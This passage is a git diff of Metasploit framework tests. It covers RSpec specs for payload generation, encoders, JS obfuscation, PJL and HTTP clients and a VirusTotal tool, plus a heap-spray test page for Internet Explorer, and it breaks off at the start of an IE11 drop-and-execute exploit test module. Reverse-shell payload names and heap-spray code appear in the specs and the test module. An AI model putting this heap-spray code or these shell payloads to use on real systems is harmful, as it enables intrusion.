+      it 'returns an array of the right size' do
+        expect(payload_generator.get_encoders.count).to eq 2
+      end
+
+      it 'returns each of the selected encoders in the array' do
+        payload_generator.get_encoders.each do |my_encoder|
+          expect(encoder_names).to include my_encoder.name
+        end
+      end
+
+      it 'returns the encoders in order of rank high to low' do
+        expect(payload_generator.get_encoders[0].rank).to be > payload_generator.get_encoders[1].rank
+      end
+    end
+
+    context 'when no encoder is selected but badchars are present' do
+      let(:encoder) { '' }
+
+      it 'returns an array of all encoders with a compatible arch' do
+        payload_generator.get_encoders.each do |my_encoder|
+          expect(my_encoder.arch).to include arch
+        end
+      end
+    end
+
+    context 'when no encoder or badchars are selected' do
+      let(:encoder) { '' }
+      let(:badchars) { '' }
+
+      it 'returns an empty array' do
+        expect(payload_generator.get_encoders).to be_empty
+      end
+    end
+  end
+
+  context '#run_encoder' do
+
+    it 'should call the encoder a number of times equal to the iterations' do
+      my_encoder = encoder_module
+      my_encoder.should_receive(:encode).exactly(iterations).times.and_return(shellcode)
+      payload_generator.run_encoder(my_encoder, shellcode)
+    end
+
+    context 'when the encoder makes a buffer too large' do
+      let(:space) { 4 }
+      it 'should raise an error' do
+        expect{payload_generator.run_encoder(encoder_module, shellcode)}.to raise_error(Msf::EncoderSpaceViolation, "encoder has made a buffer that is too big")
+      end
+    end
+  end
+
+  context '#format_payload' do
+    context 'when format is js_be' do
+      let(:format) { "js_be"}
+      context 'and arch is x86' do
+        it 'should raise an IncompatibleEndianess error' do
+          expect{payload_generator.format_payload(shellcode)}.to raise_error(Msf::IncompatibleEndianess, "Big endian format selected for a non big endian payload")
+        end
+      end
+    end
+
+    context 'when format is a transform format' do
+      let(:format) { 'c' }
+
+      it 'applies the appropriate transform format' do
+        ::Msf::Simple::Buffer.should_receive(:transform).with(shellcode, format)
+        payload_generator.format_payload(shellcode)
+      end
+    end
+
+    context 'when format is an executable format' do
+      let(:format) { 'exe' }
+
+      it 'applies the appropriate executable format' do
+        ::Msf::Util::EXE.should_receive(:to_executable_fmt).with(framework, arch, kind_of(payload_generator.platform_list.class), shellcode, format, payload_generator.exe_options)
+        payload_generator.format_payload(shellcode)
+      end
+    end
+  end
+
+  context '#generate_java_payload' do
+    context 'when format is war' do
+      let(:format) { 'war' }
+
+      context 'if the payload is a valid java payload' do
+        let(:payload) { "java/meterpreter/reverse_tcp"}
+        it 'calls the generate_war on the payload' do
+          java_payload = framework.payloads.create("java/meterpreter/reverse_tcp")
+          framework.stub_chain(:payloads, :keys).and_return ["java/meterpreter/reverse_tcp"]
+          framework.stub_chain(:payloads, :create).and_return(java_payload)
+          java_payload.should_receive(:generate_war).and_call_original
+          payload_generator.generate_java_payload
+        end
+      end
+
+      it 'raises an InvalidFormat exception' do
+        expect{payload_generator.generate_java_payload}.to raise_error(Msf::InvalidFormat)
+      end
+    end
+
+    context 'when format is raw' do
+      let(:format) { 'raw' }
+
+      context 'if the payload responds to generate_jar' do
+        let(:payload) { "java/meterpreter/reverse_tcp"}
+        it 'calls the generate_jar on the payload' do
+          java_payload = framework.payloads.create("java/meterpreter/reverse_tcp")
+          framework.stub_chain(:payloads, :keys).and_return ["java/meterpreter/reverse_tcp"]
+          framework.stub_chain(:payloads, :create).and_return(java_payload)
+          java_payload.should_receive(:generate_jar).and_call_original
+          payload_generator.generate_java_payload
+        end
+      end
+
+      context 'if the payload does not respond to generate_jar' do
+        let(:payload) { "java/jsp_shell_reverse_tcp"}
+        it 'calls #generate' do
+          java_payload = framework.payloads.create("java/jsp_shell_reverse_tcp")
+          framework.stub_chain(:payloads, :keys).and_return ["java/jsp_shell_reverse_tcp"]
+          framework.stub_chain(:payloads, :create).and_return(java_payload)
+          java_payload.should_receive(:generate).and_call_original
+          payload_generator.generate_java_payload
+        end
+      end
+
+
+
+    end
+
+    context 'when format is a non-java format' do
+      let(:format) { "exe" }
+
+      it 'raises an InvalidFormat exception' do
+        expect{payload_generator.generate_java_payload}.to raise_error(Msf::InvalidFormat)
+      end
+    end
+  end
+
+  context '#generate_payload' do
+
+    it 'calls each step of the process' do
+      my_generator = payload_generator
+      my_generator.should_receive(:generate_raw_payload).and_call_original
+      my_generator.should_receive(:add_shellcode).and_call_original
+      my_generator.should_receive(:encode_payload).and_call_original
+      my_generator.should_receive(:prepend_nops).and_call_original
+      my_generator.should_receive(:format_payload).and_call_original
+      my_generator.generate_payload
+    end
+
+    context 'when the payload is java' do
+      let(:payload) { "java/meterpreter/reverse_tcp" }
+
+      it 'calls generate_java_payload' do
+        my_generator = payload_generator
+        my_generator.should_receive(:generate_java_payload)
+        my_generator.generate_payload
+      end
+    end
+  end
+
+end
\ No newline at end of file
diff --git a/spec/lib/rex/exploitation/js/network_spec.rb b/spec/lib/rex/exploitation/js/network_spec.rb
index 9f74c6bf43..7369bc5897 100644
--- a/spec/lib/rex/exploitation/js/network_spec.rb
+++ b/spec/lib/rex/exploitation/js/network_spec.rb
@@ -16,7 +16,6 @@ describe Rex::Exploitation::Js::Network do
         js = Rex::Exploitation::Js::Network.ajax_post
         js.should =~ /function postInfo/
       end
-
     end
 
   end
diff --git a/spec/lib/rex/exploitation/jsobfu_spec.rb b/spec/lib/rex/exploitation/jsobfu_spec.rb
new file mode 100644
index 0000000000..25e05cc34e
--- /dev/null
+++ b/spec/lib/rex/exploitation/jsobfu_spec.rb
@@ -0,0 +1,51 @@
+require 'spec_helper'
+require 'rex/exploitation/jsobfu'
+
+describe Rex::Exploitation::JSObfu do
+
+  subject(:jsobfu) do
+    described_class.new("")
+  end
+
+  describe '#random_var_name' do
+    subject(:random_var_name) { jsobfu.random_var_name }
+
+    it { should be_a String }
+    it { should_not be_empty }
+
+    it 'is composed of _, $, alphanumeric chars' do
+      20.times { expect(jsobfu.random_var_name).to match(/\A[a-zA-Z0-9$_]+\Z/) }
+    end
+
+    it 'does not start with a number' do
+      20.times { expect(jsobfu.random_var_name).not_to match(/\A[0-9]/) }
+    end
+
+    context 'when a reserved word is generated' do
+      let(:reserved)  { described_class::RESERVED_KEYWORDS.first }
+      let(:random)    { 'abcdef' }
+      let(:generated) { [reserved, reserved, reserved, random] }
+
+      before do
+        jsobfu.stub(:random_string) { generated.shift }
+      end
+
+      it { should be random }
+    end
+
+    context 'when a non-unique random var is generated' do
+      let(:preexisting) { 'preexist' }
+      let(:random)      { 'abcdef' }
+      let(:vars)        { { 'jQuery' => preexisting } }
+      let(:generated)   { [preexisting, preexisting, preexisting, random] }
+
+      before do
+        jsobfu.stub(:random_string) { generated.shift }
+        jsobfu.instance_variable_set("@vars", vars)
+      end
+
+      it { should be random }
+    end
+  end
+
+end
diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb
index 5623c5bf6c..9b455801d2 100644
--- a/spec/lib/rex/proto/http/client_spec.rb
+++ b/spec/lib/rex/proto/http/client_spec.rb
@@ -30,10 +30,19 @@ describe Rex::Proto::Http::Client do
   end
 
   let(:ip) { "1.2.3.4" }
+
   subject(:cli) do
     Rex::Proto::Http::Client.new(ip)
   end
 
+  describe "#set_config" do
+
+    it "should respond to #set_config" do
+      cli.set_config.should == {}
+    end
+
+  end
+
   it "should respond to intialize" do
     cli.should be
   end
@@ -112,6 +121,7 @@ describe Rex::Proto::Http::Client do
       conn.stub(:put)
       conn.stub(:shutdown)
       conn.stub(:close)
+      conn.stub(:closed? => false)
 
       conn.should_receive(:get_once).and_return(first_response, authed_response)
       conn.should_receive(:put) do |str_request|
@@ -222,6 +232,7 @@ describe Rex::Proto::Http::Client do
   end
 
   # Not super sure why these are protected...
+  # Me either...
   it "should refuse access to its protected accessors" do
     expect {cli.ssl}.to raise_error NoMethodError
     expect {cli.ssl_version}.to raise_error NoMethodError
diff --git a/spec/lib/rex/proto/pjl/client_spec.rb b/spec/lib/rex/proto/pjl/client_spec.rb
new file mode 100644
index 0000000000..68908a5977
--- /dev/null
+++ b/spec/lib/rex/proto/pjl/client_spec.rb
@@ -0,0 +1,130 @@
+require 'spec_helper'
+require 'fastlib'
+require 'msfenv'
+require 'msf/base'
+require 'rex/proto/pjl'
+
+describe Rex::Proto::PJL::Client do
+  context "methods" do
+    let(:default_response) do
+      'OK'
+    end
+
+    let(:sock) do
+      s = double("sock")
+      s.stub(:put).with(an_instance_of(String))
+      s.stub(:get).and_return(default_response)
+      s
+    end
+
+    let(:cli) do
+      Rex::Proto::PJL::Client.new(sock)
+    end
+
+    context "#initialize" do
+      it "should initialize a 'sock' ivar" do
+        cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Mock)
+      end
+    end
+
+    context "#begin_job" do
+      it "should send a PJL start request without an error" do
+        expect { cli.begin_job }.to_not raise_error
+      end
+    end
+
+    context "#end_job" do
+      it "should send a PJL end request without an error" do
+        expect { cli.end_job }.to_not raise_error
+      end
+    end
+
+    context "#info" do
+      it "should raise an exception for not having a category" do
+        expect { cli.info(nil) }.to raise_error(ArgumentError)
+      end
+
+      it "should receive a response for an INFO request" do				
+        cli.info(:id).should eq(default_response)
+      end
+    end
+
+    context "#info_id" do
+      it "should return the version information" do
+        fake_version = '"1337"'
+        cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_version)
+        cli.info_id.should eq('1337')
+      end
+    end
+
+    context "#info_variables" do
+      it "should return the environment variables" do
+        fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f"
+        cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars)
+        cli.info_variables.should eq('PASSWORD=DISABLED')
+      end
+    end
+
+    context "#info_filesys" do
+      it "should return the volumes" do
+        fake_volumes = "[1 TABLE]\r\nDIR\f"
+        cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_volumes)
+        cli.info_filesys.should eq('DIR')
+      end
+    end
+
+    context "#get_rdymsg" do
+      it "should return a READY message" do
+        fake_ready_message = 'DISPLAY="RES"'
+        cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message)
+        cli.get_rdymsg.should eq('RES')
+      end
+    end
+
+    context "#set_rdymsg" do
+      it "should send a READY message without an error" do
+        expect { cli.set_rdymsg("") }.to_not raise_error
+      end
+    end
+
+    context "#fsinit" do
+      it "should raise an exception due to an invalid volume" do
+        expect { cli.fsinit("BAD") }.to raise_error(ArgumentError)
+      end
+
+      it "should send a FS INIT message without an error" do
+        expect { cli.fsinit("1:") }.to_not raise_error
+      end
+    end
+
+    context "#fsdirlist" do
+      it "should reaise an exception due to an invaid path name" do
+        expect { cli.fsdirlist("BAD") }.to raise_error(ArgumentError)
+      end
+
+      it "should return a LIST directory response" do
+        response = "ENTRY=1\r\nDIR\f"
+        tmp_sock = double("sock")
+        tmp_sock.stub(:put).with(an_instance_of(String))
+        tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response)
+        tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock)
+        tmp_cli.fsdirlist("1:").should eq('DIR')
+      end
+    end
+
+    context "#fsupload" do
+      it "should raise an exception due to an invalid path name" do
+        expect { cli.fsupload("BAD") }.to raise_error(ArgumentError)
+      end
+
+      it "should return a file" do
+        response = "SIZE=1337\r\nFILE\f"
+        tmp_sock = double("sock")
+        tmp_sock.stub(:put).with(an_instance_of(String))
+        tmp_sock.stub(:get).with(Rex::Proto::PJL::DEFAULT_TIMEOUT).and_return(response)
+        tmp_cli = Rex::Proto::PJL::Client.new(tmp_sock)
+        tmp_cli.fsupload("1:").should eq('FILE')
+      end
+    end
+  end
+end
diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb
index 9c1eb8dfb7..8a19f92223 100644
--- a/spec/lib/rex/text_spec.rb
+++ b/spec/lib/rex/text_spec.rb
@@ -71,6 +71,62 @@ describe Rex::Text do
       end
     end
 
+    context ".rand_surname" do
+      it "should return a random surname" do
+        described_class::Surnames.should include(described_class.rand_surname)
+      end
+    end
+
+    context ".rand_name" do
+      it "should return a random name" do
+        names = described_class::Names_Female + described_class::Names_Male
+        names.should include(described_class.rand_name)
+      end
+    end
+
+    context ".rand_name_female" do
+      it "should return a random female name" do
+        described_class::Names_Female.should include(described_class.rand_name_female)
+      end
+    end
+
+    context ".rand_name_male" do
+      it "should return a random male name" do
+        described_class::Names_Male.should include(described_class.rand_name_male)
+      end
+    end
+
+    context ".rand_mail_address" do
+      it "should return a random mail address" do
+        names = described_class::Names_Female + described_class::Names_Male
+        surnames = described_class::Surnames
+        tlds = described_class::TLDs
+
+        # XXX: This is kinda dirty
+        mail_address = described_class.rand_mail_address.split("@").map { |x| x.split(".") }
+        name, surname = mail_address.first.first, mail_address.first.last
+        domain, tld = "example", mail_address.last.last # Poor man's stubbing to preserve TLD
+
+        names.should include(name)
+        surnames.should include(surname)
+        domain.should eq("example")
+        tlds.should include(tld)
+      end
+    end
+
+    context ".randomize_space" do
+      let (:sample_text) { "The quick brown sploit jumped over the lazy A/V" }
+      let (:spaced_text) { described_class.randomize_space(sample_text) }
+      it "should return a string with at least one new space characater" do
+        spaced_text.should match /[\x09\x0d\x0a]/
+      end
+
+      it "should not otherwise be mangled" do
+        normalized_text = spaced_text.gsub(/[\x20\x09\x0d\x0a]+/m, " ")
+        normalized_text.should eq(sample_text)
+      end
+    end
+
   end
 end
 
diff --git a/spec/msfcli_spec.rb b/spec/msfcli_spec.rb
index d2133b28ff..1cf222b4e6 100644
--- a/spec/msfcli_spec.rb
+++ b/spec/msfcli_spec.rb
@@ -369,7 +369,7 @@ describe Msfcli do
           m = cli.init_modules
           cli.engage_mode(m)
         }
-        stdout.should =~ /failed/
+        stdout.should =~ /#{Msf::Exploit::CheckCode::Unknown[1]}/
       end
 
       it "should warn my auxiliary module isn't supported by mode 'p' (show payloads)" do
diff --git a/spec/msfvenom_spec.rb b/spec/msfvenom_spec.rb
deleted file mode 100644
index 9f098ee561..0000000000
--- a/spec/msfvenom_spec.rb
+++ /dev/null
@@ -1,267 +0,0 @@
-
-require 'spec_helper'
-require 'msf/core'
-# doesn't end in .rb or .so, so have to load instead of require
-load File.join(Msf::Config.install_root, 'msfvenom')
-
-shared_examples_for "nop dumper" do
-  it "should list known nops" do
-    %w!
-      x86/opty2
-      armle/simple
-    !.each do |name|
-      dump.should include(name)
-    end
-  end
-end
-
-shared_examples_for "encoder dumper" do
-  it "should list known encoders" do
-    %w!
-      generic/none
-      x86/shikata_ga_nai
-      x64/xor
-    !.each do |name|
-      dump.should include(name)
-    end
-  end
-end
-
-shared_examples_for "payload dumper" do
-  it "should list known payloads" do
-    # Just a representative sample of some of the important ones.
-    %w!
-      cmd/unix/reverse
-      java/meterpreter/reverse_tcp
-      java/meterpreter/reverse_https
-      linux/x86/shell/reverse_tcp
-      linux/x86/shell_reverse_tcp
-      linux/x64/shell/reverse_tcp
-      linux/x64/shell_reverse_tcp
-      linux/armle/shell/reverse_tcp
-      linux/armle/shell_reverse_tcp
-      linux/mipsbe/shell_reverse_tcp
-      php/meterpreter/reverse_tcp
-      windows/meterpreter/reverse_tcp
-      windows/meterpreter/reverse_https
-    !.each do |name|
-      dump.should include(name)
-    end
-  end
-end
-
-describe MsfVenom do
-
-  let(:stdin)  { StringIO.new("", "rb") }
-  let(:stdout) { StringIO.new("", "wb") }
-  let(:stderr) { StringIO.new("", "wb") }
-  subject(:venom) { described_class.new(stdin, stdout, stderr, framework) }
-  before(:each) do
-    conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config')
-    conf_dir.mkpath
-  end
-  after(:each) do
-    dummy_dir = Metasploit::Framework.root.join('spec', 'dummy')
-    dummy_dir.rmtree
-  end
-
-  before(:all) do
-    conf_dir = Metasploit::Framework.root.join('spec', 'dummy', 'framework','config')
-    conf_dir.mkpath
-    create_opts = {
-      :module_types => [
-        ::Msf::MODULE_PAYLOAD, ::Msf::MODULE_ENCODER, ::Msf::MODULE_NOP
-      ],
-      'ConfigDirectory' => conf_dir.to_s,
-      'DisableDatabase' => true
-    }
-    @framework = ::Msf::Simple::Framework.create(create_opts)
-  end
-
-  let(:framework) { @framework }
-  describe "#dump_encoders" do
-    it_behaves_like "encoder dumper" do
-      let(:dump) { venom.dump_encoders }
-    end
-  end
-
-  describe "#dump_nops" do
-    it_behaves_like "nop dumper" do
-      let(:dump) { venom.dump_nops }
-    end
-  end
-
-  describe "#dump_payloads" do
-    it_behaves_like "payload dumper" do
-      let(:dump) { venom.dump_payloads }
-    end
-  end
-
-  describe "#parse_args" do
-
-    context "help" do
-      it "should raise UsageError" do
-        expect { venom.parse_args(%w! -h !) }.to raise_error(MsfVenom::UsageError)
-        expect { venom.parse_args(%w! --help !) }.to raise_error(MsfVenom::UsageError)
-        expect { venom.parse_args(%w! --help-formats !) }.to raise_error(MsfVenom::UsageError)
-      end
-    end
-
-    context "with bad arguments" do
-
-      it "should raise UsageError with empty arguments" do
-        expect { venom.parse_args([]) }.to raise_error(MsfVenom::UsageError)
-      end
-
-      it "should raise with unexpected options" do
-        expect { venom.parse_args(%w! --non-existent-option !) }.to raise_error(MsfVenom::UsageError)
-      end
-
-      %w! --platform -a -b -c -f -p -n -s -i -x !.each do |required_arg|
-        it "should raise UsageError with no arg for option #{required_arg}" do
-          expect { venom.parse_args([required_arg]) }.to raise_error(MsfVenom::UsageError)
-        end
-      end
-
-    end
-
-  end
-
-  describe "#generate_raw_payload" do
-
-    before do
-      venom.parse_args(args)
-    end
-
-    context "with --options" do
-
-      context "and a payload" do
-        let(:args) { %w! -o -p windows/meterpreter/reverse_tcp ! }
-        it "should print options" do
-          expect { venom.generate_raw_payload }.to_not raise_error
-          output = stderr.string
-          output.should include("LHOST")
-          output.should include("LPORT")
-        end
-        context "and some datastore options" do
-          it "should print options" do
-            venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp LPORT=1234!
-            expect { venom.generate_raw_payload }.to_not raise_error
-            output = stderr.string
-            output.should include("LHOST")
-            output.should match(/LPORT\s+1234/)
-          end
-
-          it "should print options case-insensitively" do
-            venom.parse_args %w! -o -p windows/meterpreter/reverse_tcp lPoRt=1234!
-            expect { venom.generate_raw_payload }.to_not raise_error
-            output = stderr.string
-            output.should include("LHOST")
-            output.should match(/LPORT\s+1234/)
-          end
-        end
-      end
-
-      context "and an invalid payload" do
-        let(:args) { %w! -o -p asdf! }
-        it "should raise" do
-          expect { venom.generate_raw_payload }.to raise_error(MsfVenom::UsageError)
-        end
-      end
-
-    end
-
-    [
-      { :format => "elf", :arch => "x86" },
-      { :format => "raw", :arch => "x86" },
-      { :format => "elf", :arch => "armle" },
-      { :format => "raw", :arch => "armle" },
-      { :format => "elf", :arch => "ppc" },
-      { :format => "raw", :arch => "ppc" },
-      { :format => "elf", :arch => "mipsle" },
-      { :format => "raw", :arch => "mipsle" },
-    ].each do |format_hash|
-      format = format_hash[:format]
-      arch = format_hash[:arch]
-
-      context "building #{format} with linux/#{arch}/shell_bind_tcp" do
-        let(:args) { %W! -f #{format} -p linux/#{arch}/shell_bind_tcp ! }
-        # We're not encoding, so should be testable here
-        it "should contain /bin/sh" do
-          output = venom.generate_raw_payload
-          # Usually push'd in two instructions, so the whole string
-          # isn't all together. Check for the two pieces seperately
-          output.should include("/sh")
-          output.should include("/bin")
-        end
-      end
-
-    end
-
-  end
-
-  describe "#generate" do
-    include_context 'Msf::Util::Exe'
-
-    before { venom.parse_args(args) }
-
-    context "with --list" do
-
-      context "with invalid module type" do
-        let(:args) { %w!--list asdf! }
-        it "should raise UsageError" do
-          expect { venom.generate }.to raise_error(MsfVenom::UsageError)
-        end
-      end
-
-      [ "nop", "encoder", "payload" ].each do |type|
-        context "#{type}s" do
-          let(:args) { %W!--list #{type}s! }
-          it_behaves_like "#{type} dumper" do
-            let(:dump) do
-              venom.generate
-              stderr.string
-            end
-          end
-        end
-      end
-
-    end
-
-    context "with invalid datastore option" do
-      let(:args) { %w!-f exe -p windows/shell_reverse_tcp LPORT=asdf! }
-      it "should fail validation" do
-        expect { venom.generate }.to raise_error(Msf::OptionValidateError)
-      end
-    end
-
-    context "without required datastore option" do
-      # Requires LHOST
-      let(:args) { %w!-f exe -p windows/shell_reverse_tcp! }
-      it "should fail validation" do
-        expect { venom.generate }.to raise_error(Msf::OptionValidateError)
-      end
-    end
-
-    @platform_format_map.each do |plat, formats|
-      formats.each do |format_hash|
-        format = format_hash[:format]
-        arch = format_hash[:arch]
-        # Need a new context for each so the let() will work correctly
-        context "with format=#{format} platform=#{plat} arch=#{arch}" do
-          # This will build executables with no payload. They won't work
-          # of course, but at least we can see that it is producing the
-          # correct file format for the given arch and platform.
-          let(:args) { %W! -p - -f #{format} -a #{arch} --platform #{plat} ! }
-          it "should print a #{format} to stdout" do
-            venom.generate
-            output = stdout.string
-            verify_bin_fingerprint(format_hash, output)
-          end
-        end
-      end
-    end
-
-  end
-
-end
diff --git a/spec/tools/virustotal_spec.rb b/spec/tools/virustotal_spec.rb
new file mode 100644
index 0000000000..11624df319
--- /dev/null
+++ b/spec/tools/virustotal_spec.rb
@@ -0,0 +1,256 @@
+require 'spec_helper'
+
+load Metasploit::Framework.root.join('tools/virustotal.rb').to_path
+
+require 'fastlib'
+require 'msfenv'
+require 'msf/base'
+require 'digest/sha2'
+
+describe VirusTotalUtility do
+
+  context "Classes" do
+    let(:api_key) do
+      'FAKE_API_KEY'
+    end
+
+    let(:filename) do
+      'MALWARE.EXE'
+    end
+
+    let(:malware_data) do
+      'DATA'
+    end
+
+    describe VirusTotalUtility::ToolConfig do
+      context "Class methods" do
+
+        let(:tool_config) do
+          VirusTotalUtility::ToolConfig.new
+        end
+
+        context ".Initializer" do
+          it "should init the config file path as Metasploit's default config path" do
+            tool_config.instance_variable_get(:@config_file).should eq(Msf::Config.config_file)
+          end
+
+          it "should init the group name as 'VirusTotal'" do
+            tool_config.instance_variable_get(:@group_name).should eq('VirusTotal')
+          end
+        end
+      end
+    end
+
+    describe VirusTotalUtility::VirusTotal do
+      context "Class methods" do
+
+        let(:malware_sha256) do
+          Digest::SHA256.hexdigest(malware_data)
+        end
+
+        let(:sample) do
+          {
+            'filename' => filename,
+            'data'     => malware_data,
+            'sha256'   => malware_sha256
+          }
+        end
+
+        let(:boundary) do
+          'THEREAREMANYLIKEITBUTTHISISMYDATA'
+        end
+
+        let(:scan_sample_opts) do
+          opts = {
+            'boundary' => boundary,
+            'api_key'  => api_key,
+            'filename' => filename,
+            'data'     => malware_data
+          }
+
+          return opts
+        end
+
+        let(:retrieve_report_opts) do
+          opts = {
+            'uri'       => '/vtapi/v2/file/report',
+            'method'    => 'POST',
+            'vhost'     => 'www.virustotal.com',
+            'vars_post' => {
+              'apikey'   => api_key,
+              'resource' => malware_sha256
+            }
+          }
+
+          return opts
+        end
+
+        let(:vt) do
+          file = double(File, read: malware_data)
+          File.stub(:open).with(filename, 'rb') {|&block| block.yield file}
+          VirusTotalUtility::VirusTotal.new({'api_key'=>api_key, 'sample'=>filename})
+        end
+
+        context ".Initializer" do
+          it "should have an API key" do
+            vt.instance_variable_get(:@api_key).should eq(api_key)
+          end
+
+          it "should have a checksum for the malware sample" do
+            vt.instance_variable_get(:@sample_info)['sha256'].should eq(malware_sha256)
+          end
+        end
+
+        context "._load_sample" do
+          it "should contain sample info including data, filename, and sha256" do
+            vt.send(:_load_sample, filename).should eq(sample)
+          end
+        end
+
+        context ".scan_sample" do
+          it "should return with data" do
+            vt.stub(:_execute_request).and_return('')
+            vt.scan_sample.should eq('')
+          end
+        end
+
+        context ".retrieve_report" do
+          it "should return with data" do
+            vt.stub(:_execute_request).and_return('')
+            vt.retrieve_report.should eq('')
+          end
+        end
+
+        context "._execute_request" do
+          it "should return status code 204" do
+            res = double(Rex::Proto::Http::Response)
+            res.stub(:code).and_return(204)
+            vt.stub(:send_request_cgi).with(scan_sample_opts).and_return(res)
+            expect { vt.send(:_execute_request, scan_sample_opts) }.to raise_error(RuntimeError)
+          end
+
+          it "should return status code 403" do
+            res = double(Rex::Proto::Http::Response)
+            res.stub(:code).and_return(403)
+            vt.stub(:send_request_cgi).with(scan_sample_opts).and_return(res)
+            expect { vt.send(:_execute_request, scan_sample_opts) }.to raise_error(RuntimeError)
+          end
+        end
+
+        context "._create_upload_data" do
+
+          let(:form_opts) do
+            {
+              'boundary' => boundary,
+              'api_key'  => api_key,
+              'filename' => filename,
+              'data'     => malware_data
+            }
+          end
+
+          before(:each) do
+            @upload_data = vt.send(:_create_upload_data, form_opts)
+          end
+
+          it "should create form-data with a boundary" do
+            @upload_data.should match(/#{boundary}/)
+          end
+
+          it "should create form-data with the API key" do
+            @upload_data.should match(/#{api_key}/)
+          end
+
+          it "should create form-data with the malware filename" do
+            @upload_data.should match(/#{filename}/)
+          end
+
+          it "should create form-data with the malware data" do
+            @upload_data.should match(/#{malware_data}/)
+          end
+        end
+      end
+    end
+
+
+    describe VirusTotalUtility::Driver do
+      # Get stdout:
+      # http://stackoverflow.com/questions/11349270/test-output-to-command-line-with-rspec
+      def get_stdout(&block)
+        out = $stdout
+        $stdout = fake = StringIO.new
+        begin
+          yield
+        ensure
+          $stdout = out
+        end
+        fake.string
+      end
+
+      before do
+        $stdin = StringIO.new("Y\n")
+      end
+
+      after do
+        $stdin = STDIN
+      end
+
+      let(:driver) do
+        argv = "-k #{api_key} -f #{filename}".split
+        options = {
+          'samples' => filename,
+          'api_key' => api_key,
+          'delay'   => 60
+        }
+
+        VirusTotalUtility::OptsConsole.stub(:parse).with(anything).and_return(options)
+
+
+        tool_config = double("tool_config")
+        VirusTotalUtility::ToolConfig.stub(:new).and_return(tool_config)
+        tool_config.stub(:has_privacy_waiver?).and_return(true)
+        tool_config.stub(:load_api_key).and_return(api_key)
+        tool_config.stub(:save_privacy_waiver)
+        tool_config.stub(:save_api_key).with(anything)
+
+        d = nil
+
+        out = get_stdout {
+          d = VirusTotalUtility::Driver.new
+        }
+
+        d
+      end
+
+      context ".Class methods" do
+
+        context ".initialize" do
+          it "should return a Driver object" do
+            driver.class.should eq(VirusTotalUtility::Driver)
+          end
+        end
+
+        context ".ask_privacy" do
+          it "should have a link of VirusTotal's terms of service" do
+            tos = 'https://www.virustotal.com/en/about/terms-of-service'
+            out = get_stdout { driver.ack_privacy }
+            out.should match(/#{tos}/)
+          end
+        end
+
+        context ".generate_report" do
+          it "should show a report" do
+            res = {
+              "scans" => {
+                "Bkav" => { "detected" => false, "version" => "1.3.0.4613", "result" => nil, "update" => "20140107" }
+              },
+              "response_code" => 1
+            }
+
+            out = get_stdout { driver.generate_report(res, filename) }
+            out.should match(/#{res['scans']['Bkav']['version']}/)
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/test/modules/auxiliary/test/heaplib2.rb b/test/modules/auxiliary/test/heaplib2.rb
new file mode 100644
index 0000000000..a4e66243bd
--- /dev/null
+++ b/test/modules/auxiliary/test/heaplib2.rb
@@ -0,0 +1,82 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpServer::HTML
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Heaplib2 Test",
+      'Description'    => %q{
+        This tests heaplib2. Since it is a test module, it's not intended to do much useful work in the field.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         => [ 'sinn3r' ],
+      'References'     =>
+        [
+          [ 'URL', 'http://metasploit.com' ]
+        ],
+      'Platform'       => 'win',
+      'Targets'        =>
+        [
+          [ 'Automatic', {} ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Mar 1 2014",
+      'DefaultTarget'  => 0))
+  end
+
+
+  def on_request_uri(cli, request)
+    spray = %Q|
+    function log(msg) {
+      console.log("[*] " + msg);
+      Math.atan2(0x0101, msg);
+    }
+
+    log("Creating element div");
+    var element = document.createElement("div");
+
+    log("heapLib2");
+    var heaplib = new heapLib2.ie(element, 0x80000);
+
+    log("Creating spray");
+    var spray = unescape("%u4141%u4141");
+    while (spray.length < 0x20000) { spray += spray };
+
+    log("spraying...");
+    for (var i=0; i<0x400; i++) {
+      heaplib.sprayalloc("userspray"+i, spray);
+    }
+
+    alert("free is about to happen");
+
+    log("freeing...");
+    for (var i=0; i<0x400; i++) {
+      heaplib.free("userspray"+i);
+    }
+    |
+
+    html = %Q|
+    <html>
+    <script>
+    #{js_heaplib2(spray)}
+    </script>
+    </html>
+    |
+
+    print_status("Sending html")
+    send_response(cli, html, {'Content-Type'=>'text/html'})
+  end
+
+  def run
+    exploit
+  end
+
+end
diff --git a/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
new file mode 100644
index 0000000000..99a001c513
--- /dev/null
+++ b/test/modules/exploits/test/explib2_ie11_drop_exec_test_case.rb
@@ -0,0 +1,89 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::BrowserExploitServer
+  include Msf::Exploit::EXE
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Explib2 Drop Exec Test Case",
+      'Description'    => %q{
+        This module allows to test integration of Explib2 into metasploit.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'guhe120', # Original explib2 author
+          'juan vazquez'
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'https://github.com/jvazquez-r7/explib2' ] # The original repo has been deleted
+        ],
+      'Platform'       => 'win',
+      'BrowserRequirements' =>
+        {
+          :source  => /script/i,
+          :os_name => OperatingSystems::WINDOWS,
